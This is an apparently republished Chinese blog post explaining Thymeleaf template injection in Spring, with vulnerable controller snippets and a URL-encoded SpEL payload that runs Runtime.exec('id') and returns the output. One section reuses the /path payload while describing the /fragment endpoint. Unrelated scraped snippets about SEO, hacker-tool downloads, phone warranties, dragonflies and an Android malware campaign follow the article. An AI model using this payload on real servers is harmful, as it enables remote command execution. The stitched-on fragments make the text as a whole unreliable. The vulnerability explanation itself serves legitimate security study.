本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型,在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀:/templates/ ,默认后缀:.html 。
首先我们来熟悉一下这个漏洞发生的一些前期知识:
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
漏洞出现在 thymeleaf 的片段选择器中,关于片段选择器是什么,通过一个小例子就会知道。
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
4.1 首先看一下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
这时将 lang 参数作为模块名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
执行命令并回显。
4.2 再看一下:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这时是将 section 放在 selector 的位置。同样是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
这时没有回显,状态也是 200 ,调试之后发现,前面模板名找不到会抛出一个异常,而这里是将我们的 section 放到 welcome :: 后面,而这时是找到的模板名,找不到 selector ,这时他不会抛出异常,只是没有内容显示了,但是命令还是会执行。
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
public String getViewName(HttpServletRequest request) { String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
文章来源:Medi0cr1ty,作者:medi0cr1ty
如今的SEO领域早已非常成熟了,可是完善代表着大量市场竞争,你需要明白大量才可以击败你的竞争者,不象之前随意做一下就能有着非常好的排行,那时终究做的人还较为少,如今那麼多的人跟你市场竞争,大部分你可以...
【文章百度收录网说】说白了属垣有耳,你具体中必然很焦虑人死之后有一个人在窃听你讲话,窃视你的个人行为,在网络全球里,你的焦虑应当更重,因为这对比起做在具体中窃视你的间谍要简单得多。今天我给讲一讲网络黑...
本文导读目录: 1、HackerScan这个软件在哪里可以下载啊? 2、在哪里可以下载到中国红客联盟解散的时候所提供的那些数据包和那些软件 3、黑客软件如何下载 4、什么是黑客? 5、...
“哎妹,我查出来的信息显示是官换机,什么意思啊?” “哎妹,官换机是什么意思啊?” “哎妹,我的保修时间怎么对不上?” “哎妹,我能问你个事儿吗?你觉得我怎么样......” 呃,说实话,我还...
蜻蜒的喻意(蜻蜒在你心里是啥的代表)八九岁的儿时,记忆力尽管很少,但还记得的事,却清楚可见,好像就在昨日产生。夏天的黄昏,下完雨后的气体填满水份,水在蜻蜒的羽翼上凝固成小雨滴,危害了他们航行的高宽...
HyperShell设备方位6月底,咱们陈述了一个具有高度针对性的歹意活动的详细信息,咱们将其称为“Operation ViceLeaker”,该歹意活动经过即时音讯传达Android歹意样本。 这场...